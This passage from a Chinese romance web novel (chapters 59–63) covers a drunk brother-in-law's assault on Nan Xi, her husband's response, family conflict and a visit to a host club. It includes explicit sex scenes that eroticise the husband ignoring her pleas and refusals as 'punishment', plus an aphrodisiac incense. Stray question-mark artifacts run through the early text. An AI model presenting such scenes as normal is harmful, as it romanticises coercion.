“‘光华’的?晚宴吗?那天我在纽约,听?说了,南小姐很?大方。”施明?琅顿了顿,“其实?现?在单一的?慈善晚宴我不怎么管了,想着办一些新活动,上个月纽约的?电竞比赛很?成功,虽然筹集的?钱不算多?,但开了一个好头。” 正说着,施明?琅来了个工作电话,她微笑?致歉,出去接。 祁书艾和乔宜琳沉迷在铺天盖地的?美甲款式中,南惜叹了叹,独自去看?花。 花园营造浪漫氛围,灯开得?不算太亮,除了进园的?两盏复古路灯,其余都是小路两旁的?脚灯,和绕在树上的?点点串灯,遥看?就像夜空上缀着满天星。 南惜只顾着赏花拍照,并没有发现?周遭越来越暗,直到听?不见其他宾客聊天的?声音,才意识到自己走远了。 转过身,猝不及防眼前一黑。 是一件款式骚包的?燕尾西装,领带散开,整个人透着一股躁。 浓烈的?男士香水味呛得?南惜差点晕过去。 闻惯了池靳予身上低调淡雅的?中式香味,她的?鼻腔本能?排斥刺鼻的?香水。 哪怕这?味道她曾经闻过无数遍,再次入鼻,依旧唤起熟悉的?感?觉,但身体和情绪一样排斥。 池昭明?一步步往前,她屏息后退,那阵味道像魔鬼一般缠上,可?怕地将她围拢。 直到背抵着花墙,再无路可?退,她的?肩膀被握住,一片温热酒气喷下来:“惜惜,你真的?爱上他了?” 第60章 第 60 章 “池昭明, 你?想干什?么?”南惜感觉到他状态不对,“你?理智一点。” 他应该喝了不少?酒,但还不至于?醉, 只是?任由情绪被酒精麻痹。 “惜惜, 这里没别人,你?告诉我。”池昭明红着双眼, 靠近她,“是?他逼你?的对不对?他对你?没那么好,你?们只是?互相利用,人前装恩爱夫妻,在我面前还要?装吗?惜惜, 你?喜欢的明明是?我。” “池昭明你?疯了!你?听听你?在讲什?么?我是?你?大嫂!”南惜试图吼醒他,“我和你?早就结束了,我现在一点都不喜欢你?!” 池昭明带着哭腔:“我不相信……二十年的感情,你?用几个月就彻底忘掉?” 二十年的感情,不也有人毫不犹豫地和别人滚在了一起? 南惜不想再和他提过往, 让他误会自己放不下。吸了一口气,冷静地说:“如果今天你?还想收场, 现在立马放开我,不要?干出让自己后悔的事。” “我不在乎!我他妈还要?怎么后悔!”池昭明失控地捏住她下巴, 咬牙低声,“你?看上他什?么?他活很好吗?他那种冷冰冰的人, 能让你?舒服吗?” “只有我最懂你?,要?不要?和我试试?” “我比他年轻, 比他体力好, 也比他会的多,你?和我试试。” “疯子。”南惜用力抠他攥在肩上的手, 却被他捏住,双手举过头顶。 那张喷洒着酒气的脸已经压下来,她无法?再挣扎,闭上双眸。 池昭明以为她愿意,正要?满足地贴上她唇瓣时,突然被一膝盖顶起。 那瞬间痛到他灵魂出窍,像一把刀将?他从头到脚割裂。 南惜趁他吃痛发愣,猛推开他,被激怒的池昭明回过神,捂着下面骂了句脏话?,面容扭曲地拽住她想要?逃跑的身子。 南惜一个踉跄跌倒在花圃边。 “敬酒不吃吃罚酒,老子现在就——” 话?音未落,黑暗中一道冰冷劈向他:“池昭明,你?活够了?” 池昭明被保镖摁倒在一边,池靳予弯腰俯身,将?自己老婆横抱起来。 南惜一瞬间热泪盈眶。 他眼底是?完全陌生的,从未出现过的慌乱,和令她熟悉的温柔:“没事吧?” “没事。”南惜抬手绕过他脖颈,“我狠狠踹过他了。” 女人嗓音带着邀功的得意,池靳予却并没有因此笑出来:“嗯,真棒。” 身后跟来不少?人,他淡淡扫了一眼:“家?事,让各位见笑了。” “既然是?家?事,池总打算怎么解决?”乔宜琳问。 十几道目光聚集在他的脸上,都等着看这位传说中狠绝无情的男人,会怎么处置企图对他妻子不轨的亲兄弟。 他们这种门?第?向来把脸面看得很重,大概会选择息事宁人,让家?事就在自家?解决。 然而出乎所有人预料,池靳予看向乔宜琳,毫不留情地说:“报警,到时麻烦乔小?姐提供一下监控证据。” 他这是?要?把池昭明摁死。 也彻底不管外界舆论,要?为他的妻子讨回公道。 * 警车把池昭明带走?后,南惜终于?撑不住,攥着男人胳膊“嘶”了一声。 “怎么了?”池靳予担忧看过来。 被池昭明拽得跌在花圃里时,膝盖蹭到了花坛边缘的石块,当时情况紧急,她没有留意。后来她被池靳予抱着,直到警车来都没有放下,刚又和警察说那么多,完全忘了受伤的事。 这会儿一切尘埃落定,痛感才突然被唤醒。 池靳予把她放在客厅沙发上,为了不让她多受疼痛,他没有抬起她的腿,而是?屈膝半跪在沙发前。 乔家?帮佣拿药水来,他就这么半跪半蹲着,低头仔细地帮她消毒伤口,涂抹药水。 他把另一只手放到她嘴边:“疼就咬我。” 碘伏碰到伤口太疼,南惜受不住。 他左手被她咬出深深的牙印,虽然他肩上更多。他却好像没有痛觉,一动不动地继续让她咬,也丝毫不影响为她抹药的右手。 力道温柔,平稳,尽量减缓她的疼痛。 这个传闻中不染尘俗,高不可攀的男人,就这么无视所有人震惊的目光,为他的妻子埋头,屈膝,卸下所有矜贵和骄傲。 施明琅站在人群最后,双手抱着胳膊,轻飘飘开口:“看得我都快相信爱情了。” 乔宜琳不信,打量她:“真的假的?” 施明琅笑:“我是傻子吗?” “噗嗤——” 处理好一切,池靳予向乔家人道别,抱着南惜到车里,带她回家?。 和府街别墅主卧浴室,南惜坐在温热的浴缸台上,任由某人帮她洗脚。 池靳予洗得认真,她却闲得调侃他:“怎么办啊老公,最近都不能陪你?觉觉了。” 她伤在膝盖,不能用力也不能跪,哪种姿势都会疼。 男人抬起头,若有所思地望着她:“你?不是?还有手吗?” 顿了顿,瞄向她项链以下,深深的那一条:“这儿也可以,我不挑。” “想得美。”南惜抬起脚,裹着水和泡沫的雪白脚趾勾向他裤子,轻踹,“你?就配这。” 男人没让她收回,坏笑着按住,低头看了眼刚刚好的距离:“试试?” 脚下东西逐渐升温,她脸颊也瞬间热起来。 “变态啊你?。” 他怎么什?么都想用?! 虽然她这辈子只有过这一个男人,但她几乎敢肯定,无论体力还是?花样,还是?变态程度,池昭明那个愣头青都比不过他。 南惜没想到她还是?低估了池靳予。 她该知道的,这人从来不玩青铜级别。 卧室不间断点着清水瑶,浸润了尾调莲花香的粉色被褥上,他把她的双脚拉到边缘。 亲自耐心地教导过它们,然后俯身,用温润呼吸去沾染香甜的莲花蜜。 像是?勤恳的养蜂人,细致地,珍惜地对待每一滴花蜜。 思绪散乱间,南惜攥着他头发,哭音阵阵:“池靳予……这个真的能吃吗?” “纯天然,怎么不能吃?”他嗓音喑哑,透着异样的声调,手往下按了按,“别停。” 夏夜荷塘,碧波摇曳到深更,始终有夜莺浅浅地唱。 * 第?二天,南惜跟着池靳予回了趟老宅。 池昭明昨晚在派出所过夜,根据乔家?一早提供的视频证据,虽然没构成实质后果,但少?不了要?拘留几天。 田蕙云正在池苍山面前苦苦哀求:“老公,儿子要?真被拘留,以后怎么抬得起头来?他再不成器也是?你?儿子啊,你?找找关系,塞点钱能有多大事儿?” “回来了?”池苍山淡淡地移开目光,端着茶杯望向池靳予夫妇,打了声招呼再回头对妻子说:“昭明的事你?亲自和他们谈,如果他们同意和解,我会把昭明接回来。否则我也没办法?。” 田蕙云哪能不知道,当时非要?报警的就是?池靳予。 现在两个人回来,无非是?再羞辱她一次,绝对不会同意和解。 当即红了眼,歇斯底里:“池苍山!手心手背都是?肉,你?怎么这么偏心!” “我偏心?”池苍山放下茶杯,盯着她,“池昭明能有今天,你?这个当母亲的没责任吗?为什?么同样是?我儿子,只有你?的池昭明不争气?这么多年他给我惹了多少?麻烦?让我替他摆平多少?事?” 他看了眼南惜,轻叹:“我这辈子头一回对人低声下气,就是?因为你?儿子管不住自己,去招了那个女明星!” 池苍山何等人物,往日?南俊良与他兄弟相称也是?客客气气,只有那次退婚,他态度低到了尘埃里,把这辈子好话?都说尽。 现在虽然照样成亲家?,但每每想到那件事,他都觉得自己抬不起头。 “你?大儿子就是?什?么好东西吗!”田蕙云蓬头垢面地大喊,指着池靳予和南惜,“他们两个一路货色,谁知道是?不是?早就背着我儿子搞到一起了?这女人就是?个祸害,害我们家?宅不宁,害得你?儿子连骨肉亲情都不顾!要?把亲弟弟送进?去坐牢!说不定昨晚就是?她勾引——” “啪”地一声,女人尖锐的嗓音戛然而止,满屋寂静。 田蕙云瞪大眼睛望向池苍山,颤抖的手覆上脸颊,精致的妆容早已被眼泪晕花,看上去滑稽又可怜。 “你?打我?” “池苍山你?竟然打我?” “这是?你?当长辈该说的话??田蕙云,我是?不是?太纵容你?了?我的长子长媳,容不得你?胡乱攀咬。”池苍山站起身,威严冷肃,“池昭明做错了事就该受罚,他今天连嫂子都敢觊觎,如果不罚,以后还要?杀母弑父吗?” 一句“杀母弑父”,田蕙云被吓愣在原地。 池苍山盯着田蕙云,眼底有几分不忍被他压下:“我叫他们回来,是?希望你?们好好聊开,如果昭明真心悔悟,我愿意当这个和事佬。但我看你?这个态度,没必要?了。” 顿了顿,他撇开眼:“以后管好你?儿子,别让我失望。” 池靳予这次铁了心要?让池昭明付出代价。回家?路上,派出所打电话?来,他直言不接受对方的调解请求。如果判决不公,他会上诉。 眼看他掐断电话?,南惜握住他放在储物格上的手:“老公。” 男人开着车,没看她,却温柔回握:“嗯?” 想起池苍山那一巴掌,南惜盯着他问:“以后如果我们俩吵架,你?会不会像你?爸一样……” 她没错过他任何一秒的表情,但他始终坦荡,淡然又认真。 “怎么会?我疼你?还来不及。”他把车停在路边,望向她,“你?永远是?对的,我不可能和你?吵架。” 南惜溺在他潭水般幽深又明亮的眸里,吸了吸鼻子:“为什?么对我这么好?” 心底一个声音窜向脑海,只有她自己听到—— 池靳予,你?喜欢我吗? “因为你?是?我老婆。”他牵起她的手,轻啄手背,“我不疼你?疼谁?” 南惜定定地望着他:“那如果你?老婆是?别人呢?” 他一字一句,落地有声:“不会是?别人。” 60-70 第61章 第 61 章 南惜醒过?神来, 嘲笑自己问的傻问题。 他?们已经结婚,还能有什么如果? 她假装没心没肺地笑着,戳一下?男人的清瘦脸颊。 这张脸真的太会迷惑人, 明明告诉自己不要再沾感情, 却还是被?他?迷惑。 * 祁书艾打?电话来骂咧的时候,南惜还在池靳予怀里。 她被?铃声?吵醒, 紧接着男人也醒过?来,下?意识地闭着眼寻到她额头,亲了亲。 满屋子都是女孩的怨念:“我真的服了我爸!他?居然自己去找薄慎!我是缺他?那份工作就活不下?去吗?要我去铂锐当助理,他?真搞笑!” 南惜还没醒透,咕咕囔囔:“不想去你就别去呗。” “他?把我名下?房子都收了, 卡也冻结了。” 南惜睁了睁眼:“你不是自己赚钱吗?” “……”对面静默两秒,低声?,“就,花得比挣得多……那么一点点。” 南惜彻底醒过?来。 她知道,祁书艾口中的“一点点”, 绝对不止一点点。 大小姐名牌高定跑车哐哐买,虽然收入不错, 但?如果没有家底支撑,哪能过?得这么滋润。 舅舅断掉她经济来源, 收了房子,她出去住要花钱, 还卡要花钱,吃喝玩乐也要花钱。这些靠她自己的收入未必能够。 南惜:“那要不要我给你……” “不用。”祁书艾打?断她, “我就是找你发泄发泄, 不是要你的钱和房子。” 顿了顿,又说:“我没跟你客气, 但?我必须要绝了我爸的念想,不然就算躲过?这一次,他?下?次还能作妖,没完没了烦死个人。” “那你打?算怎么做?” “去就去。”祁书艾啧了声?,“我不仅能让我爸知难而退,还能气死薄慎那个老?流氓,一举两得,赚翻。” 南惜大概知道祁书艾准备怎么做了。 其实祁书艾从小挺聪明,小学每次考试都考满分,舅舅舅妈去完家长会,都要奖励她一次短途旅行。 曾经祁书艾说想去看日?本动漫里的富士山,舅舅给她请假,私人飞机直飞日?本,就为了让她看一眼富士山。 直到祁盛也上了学。 一开始大家都说姐姐这么优秀,弟弟一定也不会差,后来发现弟弟竟是个天才。 小学二年级学完了六年课程,已经会做初一的函数题。 祁书艾的优秀在天才面前,逐渐变得黯淡无光。 无论?她多努力,始终只是平庸中的佼佼者,就像普通人够不到豪门的天花板,她和祁盛有本质的区别。 所有人都只看得到祁盛,包括曾经捧她如明珠的爸妈。 每次坐在书桌前写作业,她都会想到这些题,小三岁的祁盛能比她完成得更好更快。 她恨这些书本和作业题。 如果 没有这些,她的青春明明会很快乐。 后来她依旧会学,只不过?作业都是随意完成,考试看心情交白卷,在长辈们眼中,彻底印证了“女孩上高中后劲不足”的荒谬观点。 但?她不在乎。 她只想摆脱这一切,没心没肺地轻松快乐。 她冷眼看着舅舅舅妈恨铁不成钢,然后把希望全寄托在弟弟身上,彻底放弃她。 冷眼看着他?们一边数落一边不甘心一边却还是斥巨资供她去美国读大学。 专业课低分飘过?,险险拿到毕业证,是大家意料之中的结局。 回国后私下?考取人大法硕,除了南惜没有任何人知道。 研二的她已经是百万粉丝的法律博主?,视频和直播从不露脸,但?在平台大批涌入靠美颜博眼球的竞争者之际,她的粉丝热度丝毫不减。 这么多年,她习惯藏拙,让所有人只看到她蠢笨,庸俗,除了漂亮一无是处的一面。 她藏起?来的那一面,也不会让薄慎看到。 * 祁书艾入职铂锐总裁办的第三天,薄慎终于忍不住冲到昱臻科技顶楼,连抽三根烟。 吐槽的话就没断过?。 “她真的小学毕业了吗?小数点和千位分隔符都能混淆?” “打?印机不会用,咖啡机也不会,财务章给我拿成公章……” “简单的表格公式教了十八遍还不会,打?字也慢得要死,世界上怎么会有这么蠢的人?” …… 池靳予一言不发,只默默调大了新风系统的档位。 直到薄慎快抽完第三根烟,看过?来:“祁书艾和你老?婆真的是姐妹吗?” 池靳予警告地瞥他?一眼,慎言。 “我真的没力气说了。”薄慎一屁股坐到沙发上,把烟头摁进?烟灰缸,“以前听闻祁家千金脑子不好,我还不信,我瞅你老?婆挺正?常,他们家基因应该没问题,事实证明基因突变这玩意儿真可怕。有的人就算花钱去宾大,也是草包镀不了金。” 池靳予敲键盘的手停了停:“宾大怎么了?我老?婆也是宾大毕业。” “没说您老?婆。”薄慎无语,不假思索一顿夸,“您老?婆智慧美貌天下第一。” 池靳予勾唇笑:“刚才那些话我就当没听过?,看在我老?婆的面儿上,好好照顾人家。” “还不够照顾吗?换别人我骂哭八百回了。” “那就好,继续保持。”池靳予走?过?来,亲自给他?递了根烟,“淡定一点,不要心浮气躁。” “……”算他?倒霉,搭上这不顾人死活的两口子。 找池靳予吐槽了个寂寞,但?讹了他?一包好烟——反正?他?不抽,那些宝贝留着也浪费。 从池靳予办公室出来,想想昨晚通宵加班,今晚还要应酬,来了个助理啥忙也帮不上,甚至比以前更操心,他?整个人就很绝望。 今晚饭局他?不打?算带祁书艾去,看她那张没用的漂亮脸蛋,除了头疼就是头疼。 上车,点火,紧接着电话铃响了。 对面正?是令他?焦头烂额的某人:“老?板!” 脑子里那张漂亮脸蛋飘啊飘啊飘,薄慎苦恼地揉眉心:“什么事?” “听说您今晚要去御都,带我吧。” “带你干什么?”薄慎毫不留情,“你能干什么?” “我会开车!” 薄慎想起?他?爱车喜提一血的那天,扯唇:“……” 祁书艾知道他?沉默什么,语气坚决地保证:“我平时开车很稳的,绝对不超车不占道不跟人比百米加速。” 再说了,您那老?板车没啥好比的,也没人愿意跟您比。 祁书艾心底腹诽。 “那行。”薄慎心想,开车姑且算她唯一拿得出手的技能了,不用白不用,总要对得起?他?发出去的工资,“五点半公司楼下?等我,别迟到。” “好嘞!”对面兴高采烈挂了电话。 薄慎把手机扔开,眉心揉红:“神经。” * “宝贝!晚上去不去御都!”祁书艾一通电话打?到南惜这儿。 南惜:“哈?” “御都啊!服务生都帅得像男明星那家!”祁书艾兴冲冲,“薄慎去应酬,我说服他?带我去了,到时候他?吃他?的饭,我去看我的帅哥,美滋滋。” 御都那地方,舅舅一直不让祁书艾去,祁景之也不让南惜去,甚至和会所老?板打?过?招呼。 两位小祖宗去哪儿都行,想去御都看男人,门都没有。 可施明琅乔宜琳是那儿的常客。 南惜和祁书艾好奇心重,心痒不是一两天。 一个人去那种场所,坐在那儿像个呆头鹅,祁书艾央求她:“陪我吧陪我吧,我绝对不告诉妹夫和表哥,给你瞒死死的。我看,你坐旁边就行。” 南惜挣扎一番,架不住祁书艾软磨硬泡,答应了。 年少就好奇的神秘场所,好不容易能一睹为快,没法不心动。 现在会所查得严,都是合法营业,不会出现特别过?分的节目。 五点半,祁书艾和薄慎从公司出发,六点到达御都。 和南惜约的是六点半。 想着薄慎嫌她没用,应该不会留她在包间太久。 果然,薄慎甚至没打?算带她上楼,在门口就让她回车里待着。 在车里待几个小时等他??真把堂堂祁家大小姐当司机用?丫脸盘子可真大! 祁书艾心里骂骂咧咧,把薄慎翻来覆去拧成麻花扎成筛子,脸上却没表现出半分。 眼看这人真要扔下?她进?去,祁书艾灵机一动,装可怜:“老?板,我内急……” 薄慎意味不明地看了她两秒,点头,让门童登记,作为他?的随行人员。 目送薄慎上电梯后,祁书艾给南惜打?电话:“宝贝到了没?” “马上,两个路口。” 这会儿有点堵,二十分钟后,祁书艾终于看见南惜。 这姑娘破天荒穿一身黑,与平时的风格完全不同,还戴了一只超大号黑色太阳镜。 如果不是朝夕相处的自家姐妹,祁书艾都够呛能一眼认出她。 南惜被?拦住,要求出示身份证件,祁书艾赶紧迎上去,一脸公事公办的热络:“刘总,您来啦。” 门童看她一眼,认出是薄慎的随行助理。 祁书艾对着南惜眨了眨眼:“薄总等您很久啦,快跟我来吧。” 说完对门童解释:“这位是薄总的贵客。” 一听是薄慎的贵客,门童没敢拦,哪怕那张戴着墨镜的脸蛋儿,怎么看都有点熟悉。 两人一前一后踏进?御都大门。 走?远了,南惜才轻笑一声?:“薄慎知道你这么利用他?名号,会不会气死?” “他?应该觉得荣幸,本小姐瞧得上他?名号。”祁书艾挽住南惜胳膊,进?电梯,“我打?听清楚了,帅哥哥都在八楼。” 南惜认真地问:“确定都是合法节目?” “当然了!”祁书艾笑,“放心,你就当陪我,不然我一个人显得很呆。知道这些俗物入不了你的眼,跟妹夫比还是差着劲儿。” 确实。 和池靳予朝夕相处这么久,她对帅哥的标准都不一样?了。 放在以前,她会觉得刚刚拦住她的门童就很帅,可现在,顶多算五官端正?一男的。 跟着祁书艾到八楼大厅,看见那些寻欢作乐的富婆,舞台上一群颜值尚可的男人搔首弄姿,南惜内心毫无波澜。 直到祁书艾发现一抹熟悉身影,大声?喊:“明琅姐!” 正?和一个深V领开到腰上的肌肉男喝酒的施明琅看过?来,笑了笑,招呼她们俩过?去。 “你们怎么来了?”幻彩绚丽的灯光下?,施明琅红唇勾得风情万种,“没记错的话,祁叔叔和祁景之不准你俩来的。” “偷偷来的。”祁书艾小声?说,“千万别告诉我爸和表哥。” 看了眼南惜,特别补充:“还有妹夫。” “行,懂。”施明琅笑着,对旁边的肌肉男说了句什么。 肌肉男应下?后离开,没多久,带着五六个容貌俊美,身材同样?火爆的小哥哥回来。 施明琅勾着祁书艾肩膀,看着小哥哥们训练有素舞动的身体,在充满动感的舞曲中朝她喊:“都是这儿最好的,姐姐请你,随便玩儿,看上哪个摸哪个。” 说完,笑着递给南惜一个眼神。 南惜秒懂。 她是已婚少女,不能沾,看看就行。 施明琅怕池靳予撕了她。 应该是提前打?过?招呼,那些男的也压根没往她身边凑。 南惜独享一片清净地,捧着杯子喝刚端上来的果茶,心想,池靳予要是靠脸靠身材吃饭,生意不比这些人红火得多? 正?玩得起?劲,音乐声?戛然而止,紧接着昏暗的大堂亮如白昼。 南惜适应这一阵突兀的强光,才朝入口处回头,只见薄慎冷着张脸,目光锐利地扫过?四?周,最后定格,气势汹汹地走?过?来。 施明琅靠在沙发上喝着酒,好整以暇地看着,等薄慎站到旁边,懒懒问:“薄少爷贵干?” “抱歉,打?扰施小姐寻欢作乐,我来带走?我的助理。”毫无温度的目光掠过?祁书艾,又看向?南惜,“和我兄弟的老?婆。” 第62章 第 62 章 去接南惜的路上, 池靳予几次超速。 他向来是个遵守规则的人,连灰色地带都不碰,更不会看哪里没有交通摄像头?, 就趁机飚一把车速。 他的车和他的人一样, 始终沉稳,不疾不徐, 不慌不乱。 却总是在她的身上,打破原则。 南惜看见他的那一刻清楚意?识到,这次他真的生气了。 他面?色就像覆了层冰,将她从包厢拽出去时,手?指也冰凉。 车在停车场角落, 他没有开走,把南惜塞进后座,紧接着他也跟进来。 封闭空间,反常的行为,南惜嗅到扑面?而来的危险气息。 车身在梧桐树下面?轻晃。 天?气闷热, 星空顶开了条小缝,压抑绵延的哭音也从那里传出来。 “老?公?, 肚子痛……” “是痛吗?”他蓄力,让她重?新感受。 以往她只要撒娇求饶, 他就会心疼,可今晚屡屡到底, 不容抗拒。 南惜才知道平时他再?凶再?猛,其实有多让着她。 满眼星空都成了重?影, 她哭得不成调, 偶尔听见附近有脚步声,浑身绷紧, 被勾着项链坠狠狠地捏,迎来更煎熬的惩罚。 大脑空白,语无伦次,甚至不知道自己在说什?么?:“老?公?,车垫脏了……” “怕什?么??防水的。” 一股怜惜被他闭眼压下,强按着女孩经受不住颤抖的身子,牙齿磕在她脖颈,咬下整整齐齐的一排,“脏了也不要你赔。” 后来南惜躺在后座,身上披着他的西服外套,男人衣冠楚楚地在前面?开车。 到和府街,再?把她抱下来。 穿过静谧庭院,花鸟虫鸣,鱼池里莲叶清香扑鼻,但很快都被隔绝在门外。 西服摆下空无一物?,也很快被填满。 肩头?遍布新鲜的齿痕和抓痕,他用唇和手?指一一奉还给她。 累极了他也不让睡,不知从哪儿找出那次浅浅尝试过,就几乎被遗忘掉的粉色小物?件。 熟悉的嗡鸣声钻入耳膜,她条件反射般清醒。 “老?公?,不要……” 他不急不缓,不发一言,吞下她阵阵哭音。 她也被迫吞下令人颤抖的嗡鸣。 粉色小鱼在温暖而激荡的泉水里游了整夜,直到断电,依旧被抵在泉眼。 南惜恍惚记得施明琅打电话来,还恍惚记得池靳予帮她按下接听。 他故意?迫她出声,她几乎咬破了嘴唇。 什?么?时候挂断的她不知道,只记得被衔着耳垂,钻入心底的魔咒般的嗓音: “好玩儿吗?嗯?” “是我没给你玩儿,还是不够满足你?” …… 第二天?中午才醒来。 池靳予又一次破天?荒没去上班。 “醒了。”坐着看书的男人低头?拨开她脸上发丝,“想吃什?么??” “不想……”没胃口?。 嗓音完全是哑的。 男人勾了勾唇,从柜子里拿出盒润喉糖,往她嘴里放了一颗。 南惜含着糖缓了几分钟,声音才略微正常:“我昨天?……” 书翻了一页,他语气很淡:“过去了。” 南惜不想他误会:“我就在那儿坐了坐,什?么?都没干。我知道我结婚了,肯定不会对不起你的。” “昨晚我也有些失控。”他合上书封,看过来,“但如果再?有下次,我还会失控。” “……”南惜天?灵盖猛猛一抖,“不会,不会有下次。” “嗯。”他满意?地揉了揉她的脑袋。 南惜试图翻身,扯动浑身骨头?,整个人像被拆过一样,疼得她瞬间皱眉。 那里有冰凉的感觉,应该被他抹过药。 滑下的被沿露出莹白肌肤上的零散痕迹,青紫和红色,像泼上去的画。 池靳予见到这副光景,懊悔心疼,把书扔到旁边,俯身,唇瓣轻轻贴了一下她额头?。 “你过分……”女孩瓮声瓮气。 他搂她入怀,忏悔的语气很真诚:“嗯,对不起。” “对不起有什?么?用……”她今天?都出不去这个被窝。 以前她觉得小说里描述太夸张,可只有亲身经历过才知道,什?么?叫来源于生活。 池靳予一整天?都在照顾她。 牙刷送到嘴边,午饭端到卧室,怕她无聊,抱她到影音室看电影。 傍晚天?气好,南惜说想看夕阳,又将她抱到顶楼。 别墅虽然没云宫那么?高,但从这里看夕阳是另一种韵味。 云宫那样的夕阳哪里都能看。 但从这里看向故宫的天?,是独一无二的庄严,和厚重?的历史感。 红墙黛瓦一层层堆叠,错落,无边晚霞成为绚丽的背景。 以前她喜欢高处,繁华,灯红酒绿。 可现在,她好像越来越爱他眼中的风景。 * 因?为一个晚上,南惜在家歇了两天。 第二天?,南惜已经行动自由,池靳予便放心去了公?司。 白天?她和施明琅聊了两个多小时,起因?是施明琅发微信问她: 【听说你是宾大金融毕业,成绩不错,有没有兴趣来我这儿?】 对于上班,南惜一直兴趣缺缺,祁景之叫她去自家集团她毫不犹豫地拒绝。可施明琅这根橄榄枝抛来,她稍微愣了一下。 施明琅紧接着发来语音:“你先别急着做决定,我这儿不是传统公?司,不需要固定坐班,目前给你的职位是CFO,财务核算一个月一次,平时经济相关的重?大决策你需要参与,等业务熟悉了,会让你独立决策。后续如果涉及到上市,股票金融方面?,你要负责把把关。我知道你是本?科毕业,所以可能?会需要进修,压力还是有的。” 南惜听完,有点懵:【为什?么?找我?】 学历和经验,她显然都不是最合适,施明琅只要发一条招聘广告,能?有大批比她优秀的去应聘。 施明琅笑?了笑?:“看你顺眼喽。干我们这行容易暴雷,信不过的人我不用,所以之前财务这块我亲自管。但现在事儿太多了,我国内国外各地跑,新活动开发都焦头?烂额的,北京这边想找个人分担一下。考虑考虑呗,除了薪资不太高,毕竟是做慈善。” 薪资对南惜来说不重?要,她最不缺的就是钱。 她只想从事自己感兴趣的行业。如果喜欢,倒贴钱都行。 南惜没有明确答复,说要考虑,施明琅打电话和她聊了很久,关于公?司的构成,理念,未来展望,和最近她办的几场不错的活动。 “我这儿除了像你这样有钱有闲又有爱心的姑娘小伙儿,就是一群大学生志愿者,氛围挺好的。”施明琅笑?了笑?,“考虑考虑吧,等你消息。” “好。” 晚上池靳予回来,南惜和他提了这事。 池靳予曾经要她离施明琅远点,一定不会同意?她去施明琅的公?司。虽然她自己的工作,不需要他同意?。 她不想因?为这件事闹不愉快,所以在他到家之前,南惜想了一大堆说服他的理由,让这件事尽量和平地解决。 不料,男人听完后竟然支持她:“去,为什?么?不去?” 南惜愣了许久才回神?:“你不是不希望我和明琅姐走太近?” “你都叫明琅姐了,这事儿我还能?管得了?”池靳予笑?了一下,“去上班,总好过去会所看肌肉猛男。” 南惜被呛得猛咳两声。 知晓他淡定皮囊下的紧张和在意?,南惜一颗心轻飘飘,美滋滋的。一边啃着排骨,一边故意?逗他:“可是我要去明琅姐那儿上班,以后可能?还得陪她看肌肉猛男哦。” 顿了顿,她“认真”强调:“放心吧,就算人在江湖身不由己,我也绝对绝对不会对不起你的。” 甚至一脸郑重?地抬起婚戒:“我很自觉的。” 以后天?天?戴,干啥都不摘。 池靳予笑?意?收敛了些,若有所思地看她一眼,起身,上楼。 南惜回过头?:“干嘛呀?” “吃好了,去洗澡。” “哦。”她一个人继续啃排骨。 今天?外面?细雨绵绵,还有点降温,两人没出去散步。 南惜吃完饭便也去楼上洗澡。 换上睡衣从浴室出来,房间已经点上了香。 是南惜没闻过的香味,花香夹杂着木质香沁入鼻尖,依稀有玫瑰,橙花,和龙脑的清凉感。 糅合在一起,变成一种异样的甜美芬芳。 同样穿着睡衣的男人从门口?走进来,分明降温了的室内,却让她感觉到身体发热。 直到比她更热的呼吸压下来。 “好闻吗?”他啃咬她的唇,气声嘶哑。 南惜在他怀里微微发颤:“嗯……” “这款春宵百媚香,我让人调了很久的配方。”她已经被他带到衣帽间,那面?巨大的落地穿衣镜前,靠着衣柜,细腰被掐在他手?掌间,“乖乖,看镜子。” 南惜侧头?看过去。 靠近镜子的那条腿被抬起来压过头?顶,她从来没想过学舞蹈练的一字马,有朝一日要这样用。 试探,前推,咬紧,高清的穿衣镜把一切都照得太清晰。 她实在难为情,咬唇别过头?。 男人骤然停下,又将她的脸转回去:“不准回头?,不准闭眼,看清楚。” 南惜靠在他手?臂上看了很久,镜子里变成虚影,分不清是自己头?晕目眩,还是因?为太快。 牙齿咬在他胳膊上,哭音可怜:“你是生气了吗……” 男人没有回答,只是镜子里的画面?加倍模糊。 他一直让她看着,后来搬了把椅子过来,她背靠他坐在腿上,依旧看着。 更近,比刚才更清晰。 那股奇异的香味和视觉的双重?冲击,让她比平时更禁不住,险些哭晕在他怀里。 结束,稍歇,他从衣柜随意?扯了件衣服,将她温柔裹卷,擦掉令人不适的黏意?。 南惜坐在首饰柜上,轻轻踹了他一脚。 莹白脚趾被握住,浅浅地揉。刚才这双脚绷得累,他用手?指替她舒缓。 “只能?看,不能?碰。”微垂眼眸的男人忽然开口?。 南惜愣了愣。 池靳予抬头?,眸底汹涌的暗流被他克制:“这是我的底线。” 她眼眶蓦地一热,瞬间不知道该作何反应。 大脑已经忘掉运转,只是凭着本?能?捧住他的头?,压下来。 “骗你的,笨蛋。”她啼笑?皆非,瓮着声,“他们一点都不帅,身材也不好。” 施明琅说了,她不需要参加应酬,以后也不会再?去那种地方。 这男人也太不禁逗。 南惜越想越觉得心口?发烫,仰起头?,温柔虔诚地贴近他。被眼泪沾湿的唇瓣覆上他的唇,满眼星河落入他眸底。 她毫不掩饰,也不介意?在这一刻,被这个男人察觉她喜欢他。 “我老?公?最帅。” 又亲一口?,“身材最好。” 脚顺着他右腿滑上来:“腹肌也最好看。” 她全然不长记性,才哭过一回,又明晃晃地在勾他。 男人眼底火势漫卷,温柔燎原,她瞬间被摁在了首饰柜上。 第63章 第 63 章 镜子里, 软硬交织,视野摇晃,柔软的手被按在?镜面。这次她凑近看?着自己的表情, 和身后的人是如何主导这一切。 她的感官, 呼吸,体温, 心跳的频率,都拿捏在?他火热的钳制中。 明知道自己不是对手,每次都只有认输求饶,却还是贪恋那股上瘾的感觉。 喜欢与他交融,紧贴, 做最?亲密的事。 每当灭顶的浪潮袭来,她都甘愿这么死在?他怀里。 * 昨晚离开“御都”,祁书艾被薄慎狠狠训斥了一顿。给?南惜写小作文诉苦,长?这么大没受过这委屈,这破班谁爱上谁上, 大小姐不干了。 洗完第二遍澡,南惜裹进被子里, 发微信问她在?做什么。 祁书艾:【加班。】 南惜:【?】 祁书艾发来张照片,是桌上一叠厚厚的文件。 南惜:【你?不是不干了?】 祁书艾:【艹】 【明天有空吗?】 【陪我去趟雍和宫。】 南惜:【干嘛?】 祁书艾:【我咒死他。】 第二天去雍和宫路上, 南惜才知道发生了什么。 祁书艾本来真打算撂挑子,也和薄慎摊了牌, 结果这人用项目奖金诱惑她。 祁书艾没在?投资公司干过,哪知道老板手下的项目标的这么离谱之高。 所以当薄慎高高在?上地问她, 是想要项目奖金, 还是赔付合同违约金,祁书艾可?耻地妥协了。 